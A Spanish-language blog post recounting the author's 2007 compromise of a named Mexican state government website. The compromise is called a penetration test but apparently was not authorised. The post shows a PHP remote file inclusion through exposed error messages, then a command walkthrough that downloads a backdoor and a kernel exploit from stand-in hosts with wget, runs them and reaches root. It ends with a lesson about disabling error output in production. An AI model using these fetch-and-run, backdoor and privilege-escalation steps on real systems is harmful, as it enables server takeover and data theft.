[+] Inicio | [+] Contacto | [+] Blog



Aprovechar los mensajes de error en PHP para comprometer el servidor.

$ date | cat c4t3g0ry;
- - Publicado el 19/05/2015 | Esto es sobre: Seguridad

Esta prueba de penetración la realice hace aproximadamente 08 años (2007 creo), cuando pasaba por mi etapa de «jaquer gueb», ya saben la edad donde te sientes invencible delante del ordenador, cómo todo un «Dios de la red» y tienes el ego muy elevado.

La pagina que se audito fue la Secretaria de Gobierno  de Yucatán  Quintana Roo { segob.qroo.gob.mx }:

URL warning

La pagina muestra un mensaje de warning, el cual menciona que no puede abrir cierto parámetro, aquí es donde empezamos a jugar con la URL ( querystring ), de tal forma que podamos incluir un archivo externo (una shell):

URL querystring RFI

Una de las (des)ventajas de cuando están activados los mensajes de error, es que te enseñan el error cómo tal y una posible solución, aquí no encontraba la variable $Pagina, la cual estaba mal implementada y permitió incluir el archivo remoto (shell):

RFI - Shell php

Una vez obteniendo que la shell interactue con el servidor, lo siguiente es sacar información, que por lo que vemos en esos ayeres, era un kernel 2.6.16.13-4smp del año 2006, que en cuestión de 10 minutos podría ser rooteado:

$ cd /tmp
$ wget http://evilpageee.kom/r0nin
$ chmod 777 r0nin
$ ./r0nin

##Ahora ponemos el nc a escucha del puerto que use tu backdoor 

$ pwd 
/
$ id
uid=99(nobody) gid=99(nobody) groups=99(nobody) 
$ cd /tmp 
$ wget http://evilpagee.k0m/xploit

    Connecting to evilpagee.k0m:80... connected! HTTP request sent, awaiting response... 200 OK Length: 11,800 0K .......... .... 100% @ 70.79 KB/s 22:17:19 (71.45 KB/s) - "xploit" saved [14860/14860]
...

$ chmod 777 xploit 
$ ./xploit 

    Attached to 30330 
    Waiting for signal 
    Signal caught 
    Shellcode placed at 0x40111aed 
    Now wait for suid shell...  

$ id 
    uid=0(root) gid=0(root) groups=0(root) 
# Breve resumen de un rooteado en aquellos años

Una vez obteniendo r00t y llegar hasta la cocina es cuestión de cambiar permisos/grupo al usuario, y voala:

qroo Root

¿Y todo esto cómo fue posible?

La pregunta del millón, ¿cómo alguien puede obtener el control de un servidor?: Una simple linea de código, comprometió todo un servidor.

bug_code

La variable $Pagina quedo flotando, fue lo que nos permitió explotar esta técnica de inclusión de archivos remotos (en aquellos años maravillosos). Lamentablemente este tipo de problemas a pesar de los años todavía persisten (no me refiero al RFI), programadores/desarrolladores dejan activos estos tipos de mensajes de error en sitios ya en producción, que para una persona con fines maliciosos, podría tener el control de un servidor (en este caso de gobierno) y no dejar un mensaje modificando el index de la pagina principal, sí no aprovechando sus recursos o obteniendo información confidencial.

happy hacking!!